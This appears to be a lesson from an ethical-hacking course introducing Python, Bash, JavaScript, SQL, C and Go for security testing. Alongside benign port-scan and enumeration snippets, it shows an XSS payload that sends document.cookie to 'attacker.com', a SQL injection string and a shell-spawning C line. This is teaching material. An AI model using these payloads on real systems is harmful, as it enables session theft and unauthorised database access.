Programming Languages for Ethical Hackers

You don't need to be a programmer to start testing security. But you will read code, tweak scripts, and understand what's running on the systems you're testing. This lesson is a map of the languages you'll encounter.

Python: The Hacker's Swiss Army Knife

Why it matters: Python is the language of offensive security. If you're writing an exploit, automating a scan, or chaining tools together, you're probably using Python.

What you'll see:

import socket

# Simple port scanner
target = "10.0.0.1"
for port in range(1, 1024):
    sock = socket.socket()
    result = sock.connect_ex((target, port))
    if result == 0:
        print(f"Port {port} is open")
    sock.close()

When to use it: Writing exploits, automating reconnaissance, building custom tools, credential stuffing, fuzzing.

Why hackers love it: Fast to write, huge ecosystem (requests, paramiko, pwntools), and every attacker knows it.

Bash: The Shell That Runs Linux

Why it matters: Bash is the default shell on every Linux server. It's where you'll live when you gain access to a target. It's also how you chain commands together for reconnaissance.

What you'll see:

# Find all SUID binaries on a Linux system
find / -perm -4000 -type f 2>/dev/null

# Extract unique usernames from a log and count them
cat /var/log/auth.log | grep "user=" | awk '{print $7}' | sort | uniq -c

# Scan a subnet and find which hosts are up
for i in {1..254}; do ping -c 1 10.0.0.$i 2>/dev/null && echo "10.0.0.$i is up"; done

When to use it: Reconnaissance, enumeration, data extraction from logs, privilege escalation (finding writable files, SUID binaries), lateral movement.

Why hackers love it: It's on every server. No installation needed. Piping commands together is a superpower.

JavaScript: The Language of Web Exploitation

Why it matters: JavaScript runs in the browser. If you're testing a web app, you're exploiting JavaScript. Cross-Site Scripting (XSS), client-side validation bypass, DOM manipulation—all JavaScript.

What you'll see:

// Reflected XSS payload
<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

// Bypass weak client-side validation
document.getElementById("price").value = "0.01";

When to use it: Web app testing, XSS payloads, bypassing client-side checks, DOM-based attacks.

Why hackers love it: Every web app runs it. Weak client-side validation is everywhere.

SQL: The Language of Databases

Why it matters: Most web apps store data in databases. SQL injection is one of the top vulnerabilities. You need to know basic SQL to craft payloads and extract data.

What you'll see:

-- Normal query
SELECT * FROM users WHERE username = 'admin';

-- SQL Injection payload (the attacker input)
admin' OR '1'='1
-- Results in:
-- SELECT * FROM users WHERE username = 'admin' OR '1'='1';
-- Now it returns every user in the database

When to use it: Web app testing, SQL injection exploitation, database enumeration.

Why hackers love it: Databases hold the crown jewels.

C / Go: Low-Level and Modern Compiled Languages

Why it matters: C is used for malware analysis, reverse engineering, and system-level exploits. Go is used for modern security tools because it compiles to a single binary.

C example (malware reverse engineering):

// Attackers use C for low-level system access
#include <unistd.h>
int main() {
    system("/bin/sh");  // Drop a shell
    return 0;
}

Go example (modern tool):

// Go is used for tools like Terraform, Kubernetes, and security scanners
// It compiles to a single binary that runs anywhere
package main
import "fmt"
func main() {
    fmt.Println("Port scanner in a single binary")
}

When to use them: C for reverse engineering and low-level exploits; Go for writing portable, performant tools.

What About the Others?

Ruby: Used in Metasploit (the exploit framework), but less common than Python now.

Java: Common in enterprise apps, so you'll encounter it in web app testing, but not as common for writing your own tools.

C#: Windows exploitation and post-exploitation frameworks.

PowerShell: Windows equivalent of Bash. If you're testing Windows servers, you'll use it.

The Pattern You'll Notice

1. Reconnaissance & Automation: Python, Bash
2. Web Apps: JavaScript, SQL, Python
3. System Access: Bash, C, PowerShell (if Windows)
4. Exploit Development: Python, C
5. Tool Building: Go, Rust, Python

You don't need to write in all of these languages (yet). You just need to read them, understand what they do, and know which one to reach for when you're building something.

Your Next Step

Pick up Python basics if you don't have them. The labs in this course will walk you through Python snippets. You'll be comfortable reading Python code by the time you finish Phase 1.

Bash you'll learn by doing—every lab involves running shell commands and reading the output.

The rest will come naturally as you test real systems.